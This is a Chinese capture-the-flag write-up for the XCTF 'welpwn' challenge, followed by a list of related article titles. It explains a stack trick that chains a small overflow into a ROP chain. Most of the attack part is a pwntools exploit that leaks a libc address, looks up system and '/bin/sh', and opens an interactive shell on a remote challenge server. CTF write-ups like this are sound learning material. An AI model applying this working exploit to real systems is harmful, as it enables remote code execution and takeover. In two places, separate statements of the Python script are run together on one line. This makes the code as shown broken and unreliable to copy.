[攻防世界 pwn]——welpwn

  • 题目地址: https://adworld.xctf.org.cn/
  • 题目:

我只能说这道题太巧了, 实在太巧了。我想出来一个名词叫做栈连接

还是先checksec一下

然后在IDA中看看, buf无法溢出, s因为有循环判断限定,只能溢出一个地址。

巧就巧在下面


0x20 = 32
这样我们就可以输入0x20个字符,也就是四个八个字节,四个pop掉就可以。

aaaaaaaa     <--- s
aaaaaaaa
aaaaaaaa     <--- echo ebp
pop_4_addr   <--- echo ret
aaaaaaaa     <--- buf
aaaaaaaa
aaaaaaaa
pop_4_addr
pop_rdi_addr
write_got
main_addr

执行后变为, buf的前四个 八个字节都被pop掉了

pop_rdi_addr  <--- ret
write_got
main_addr

同理,将栈这样构造。就可以获得shell了

aaaaaaaa     <--- s
aaaaaaaa
aaaaaaaa     <--- echo ebp
pop_4_addr   <--- echo ret
aaaaaaaa     <--- buf
aaaaaaaa
aaaaaaaa
pop_4_addr
pop_rdi_addr
bin_sh_addr
system_addr

exploit

from pwn import *
from LibcSearcher import *
#p = process("./pwn")
p = remote("111.200.241.244",49039)
elf = ELF('./pwn')
#gdb.attach(p, "b *0x0400782")
write_got = elf.got['write']
puts_plt = elf.plt['puts']
pop_4 = 0x40089C
pop_rdi = 0x4008A3
p.recvuntil('Welcome to RCTF\n')  main_addr = 0x4007CD
payload = 'a'*0x18 + p64(pop_4) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr)
p.send(payload)
p.recvuntil('\x40')
write_addr = u64(p.recv(6).ljust(8,'\x00'))
print hex(write_addr)
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')  p.recvuntil('\n')
payload = 'a'*0x18 + p64(pop_4) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)  p.send(payload)
p.interactive()

[攻防世界 pwn]——welpwn相关推荐

  1. 攻防世界 Pwn welpwn

    攻防世界 Pwn welpwn 1.题目下载地址 2.checksec 3.IDA分析 4.exp 1.题目下载地址 点击下载 2.checksec 没有canary 没有PIE 3.IDA分析 ma ...

  2. 攻防世界 Pwn 进阶 第一页

    00 要把它跟之前新手区的放在一起总结,先稍稍回顾一下新手区. 攻防世界 Pwn 新手 1.栈溢出,从简单到难,开始有后门函数,到需要自己写函数参数,到最后的ret2libc. 常见漏洞点有read( ...

  3. 攻防世界(Pwn) forgot---栈溢出;(方法二)

    攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...

  4. 攻防世界(Pwn) forgot---栈溢出;(方法一)

    攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...

  5. [攻防世界 pwn]——pwn1(内涵peak小知识)

    [攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...

  6. [攻防世界 pwn]——实时数据监测

    [攻防世界 pwn]--实时数据监测 题目地址:https://adworld.xctf.org.cn/ 题目: checksec就不说了,没什么 ida中 只要将key里面的值修改为35795746 ...

  7. [攻防世界 pwn]——monkey

    [攻防世界 pwn]--monkey 题目地址:https://adworld.xctf.org.cn/ 题目: 额,怎么说呢这道题.checksec没什么大不了的 但是再IDA中就懵了,好大呀.好多 ...

  8. [攻防世界 pwn]——反应釜开关控制

    [攻防世界 pwn]--反应釜开关控制 题目地址:https://adworld.xctf.org.cn/ 题目: 无言以对,直接给你shell函数,返回覆盖到shell函数就OK了 exploit ...

  9. [攻防世界 pwn]——pwn-100

    [攻防世界 pwn]--pwn-100 题目地址: https://adworld.xctf.org.cn/ 题目: checksec一下 IDA中 sub_40063D函数的作用就是读入200个字符 ...

最新文章

  1. ubuntu系统下用kazam软件录制的视频不能在windows系统下播放的解决方案
  2. ASP.NET使用母版页后动态加载JS/CSS
  3. CTF--misc 零宽度字符隐写
  4. systemctl与mysql多实例_mysql mariadb 多版本多实例 开机启动
  5. HDOJ1861 游船出租
  6. 存储过程不可以封装_【小知识】功率半导体器件之10功率器件的封装可靠性
  7. Android Root原理初探
  8. 力扣第202题. 快乐数(JavaScript)
  9. matplotlib axis
  10. [Beego模型] 五、构造查询
  11. Hybrid 接口应用
  12. OPPO A57刷机 A57刷机包下载 纯净包 A57T忘记密码 帐号解锁 刷机教程 精简Rom刷机包
  13. 计算机模拟做报童模型,用基于计算机随机模拟的下降法求解报童问题
  14. 微信邮箱怎么弄怎么写?手机可以移动办公吗?
  15. 几种编程语言的优缺点
  16. Qt是什么?有哪些优势用于图形界面开发
  17. 区块链为什么叫区块链
  18. RSA算法进行加密和解密
  19. laravel 常用文档
  20. STM32晶振 选型

热门文章

  1. 支持任意排序的分页存储过程
  2. SQL注入_1-6_user-agent注入
  3. [系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)及防御详解
  4. Python读取大文件的坑“与内存占用检测
  5. 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言—— 1041:奇偶数判断
  6. PaddlePaddle训练营——公开课——AI核心技术掌握——第1章迈入现代人工智能的大门——多层感知机网络模型
  7. Go语言集合(Map)
  8. 四元数姿态解算及多传感器融合详细解析
  9. 【Linux系统编程】线程私有数据
  10. 【Tools】StarUML2.8工具安装和破解